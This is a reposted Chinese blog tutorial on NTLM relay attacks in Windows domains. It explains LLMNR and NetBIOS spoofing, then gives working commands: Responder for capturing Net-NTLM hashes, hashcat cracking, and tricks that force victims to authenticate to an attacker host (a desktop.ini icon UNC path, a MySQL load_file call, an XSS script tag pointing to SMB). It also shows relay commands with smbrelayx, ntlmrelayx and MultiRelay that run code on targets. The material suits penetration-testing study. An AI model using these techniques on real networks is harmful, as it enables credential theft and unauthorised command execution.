域渗透之NTLM Relay

域渗透之NTLMRelay基础知识LLMNR概述链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

域渗透之NTLM Relay

基础知识

LLMNR概述

链路本地多播名称解析LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。

LLMNR工作过程

当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为使用LLMNR链路本地多播名称解析。

使用链路本地多播名称解析时,主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是则丢弃该请求。

解析顺序

  1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)

  2. DNS缓存/DNS服务器

  3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

LLMNR和NetBIOS欺骗攻击

攻击原理

我们利用SMB协议获取目标网络中计算机的Net-NTML Hash。

当用户输入 不存在、包含错误 或者 DNS中没有的主机名 时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向DNS服务器查询,而DNS解析会失败,此时就会退回LLMNR和NetBIOS进行对链路内存在的主机进行广播查询。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的Windows凭据发给攻击者。

Responder概述

Responder是监听LLMNR和NetBIOS协议的工具之一,能够抓取网络中所有的LLMNR和NetBIOS请求并进行响应,获取最初的账户凭证。

Responder会利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器,DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中的明文凭据,还可以通过Multi-Relay功能在目标系统中执行命令。

Responder使用

responder -I eth0 -r on -v -F on -w on 

域渗透之NTLM Relay

域渗透之NTLM Relay

主机尝试连接该地址,检查内部名称缓存和DNS都没找到,就会通过LLMNR和NetBIOS,在局域网中进行搜索。

此时就能抓到Net-NTLM Hash

Net-NTLM Hash不能作为PTH使用,但可以使用hashcat等工具爆破或进行NTLM-Relay攻击

hashcat -m 5600 hash.txt wordlists.txt --show

域渗透之NTLM Relay

NetBIOS

NetBIOS 协议进行名称解析的过程如下:

  • 检查本地 NetBIOS 缓存
  • 如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求
  • 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
  • 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件

域渗透之NTLM Relay

域渗透之NTLM Relay

desktop.ini

文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到.每个文件夹底下都会有,我们新建一个新的文件夹的话,如果没看到desktop.ini,可以尝试更改图标,就可以看到了。

将图标路径改成UNC路径,指向我们的服务器

域渗透之NTLM Relay

打开文件夹就会去访问UNC路径,即可获得用户的net-ntlm hash

域渗透之NTLM Relay

MySQL

select load_file('\\\\172.16.100.1\\mysql');

XSS

<script src="\\172.16.100.1\xss">

这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域

smb Relay

python3 RunFinger.py -i 192.168.22.0/24

域渗透之NTLM Relay

目标主机没有开放smb签名,一般情况下域控默认开启smb签名,其余机器不开放

打开responder并修改responder.conf,將smb和http改为Off,里面responder的作用就是,创建一个可以被访问的虚拟路径并且模拟与其他主机进行NTLM认证,使用smbrelayx进行ntlm-relay

創建一個可以被訪問的虛擬路徑并且模擬與其他主機進行NTLM認證互動,而smbrelayx腳本進行

python3 smbrelayx.py -h 192.168.22.137 -c "whoami" 

這時候只要域內主機觸發了LLMNR協議即可,觸發方式與上免例子的觸發方式一致,即通過smb協議或者http協議訪問一個不存在的主機,

域渗透之NTLM Relay

./ntlmrelayx.py -t 受害者ip -c whoami -smb2support
./MultiRelay.py -t 受害者ip -u ALL
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119847.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • shell中的if语句「建议收藏」

    shell中的if语句「建议收藏」shell中的if语句格式1:单分支if[判断];then命令fi 格式2:双分支if[判断];then命令else命令fi格式3:多分支if[判断];then命令

    2022年7月4日
    34
  • LuaJIT简介[通俗易懂]

    LuaJIT简介[通俗易懂]LuaJIT是刚刚在即时编译器(JIT)为» 的Lua编程语言。Lua是一个功能强大,动态和轻量级的编程语言。它可能被嵌入或用作通用的,独立的语言兼容性WindowsLinux的BSDOSXPOSIXEmbeddedAndroid的iOS版PS3PS4PSVitaXbox360GCCCLANG LLVMMSVC8664位

    2022年10月7日
    4
  • 即时通讯——P2P传输技术详解[通俗易懂]

    即时通讯——P2P传输技术详解[通俗易懂]纯点对点网络没有客户端或服务器的概念,只有平等的同级节点,同时对网络上的其它节点充当客户端和服务器。这种网络设计模型不同于客户端-服务器模型,在客户端-服务器模型中通信通常来往于一个中央服务器。有些网络(如Napster,OpenNAP,或IRC@find)的一些功能(比如搜索)使用客户端-服务器结构,而使用P2P结构来实现另外一些功能。类似Gnutella或Freenet的网络则使用

    2022年7月16日
    46
  • ROS学习(开篇)Ubuntu16.04安装ROS Kinetic详细教程

    ROS学习(开篇)Ubuntu16.04安装ROS Kinetic详细教程之前关于ROS学习的博客,都是在win10虚拟机环境下运行的ubuntu18.04系统,对应的ros版本为melodic。由于电脑性能不好,运行导航仿真感觉卡顿,所以我把家里的台式机搞成了ubuntu16.04和win10双系统。ubuntu16.04系统的安装网上很多资料,本篇只是记录下ros的安装步骤,仅供参考。本篇文章只解决我遇到的错误,若不能解决你的错误,请自行百度,哈哈,网上的资料还是很多的。

    2025年8月27日
    5
  • 七个合法学习黑客技术的网站,让你从萌新成为大佬「建议收藏」

    合法的学习网站,以下这些网站,虽说不上全方位的满足你的需求,但是大部分也都能。

    2022年4月15日
    170
  • java 时间字符串 转换_java实现时间与字符串之间转换

    java 时间字符串 转换_java实现时间与字符串之间转换导读正文本文实例为大家分享了java实现时间与字符串之间转换的具体代码,供大家参考,具体内容如下1.long字符串转换成yyyy-MM-ddHH:mm:ss格式输出importjava.text.SimpleDateFormat;importjava.util.Date;//将long字符串转换成格式时间输出publicclassLongToString{publicstatic…

    2022年6月2日
    33

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号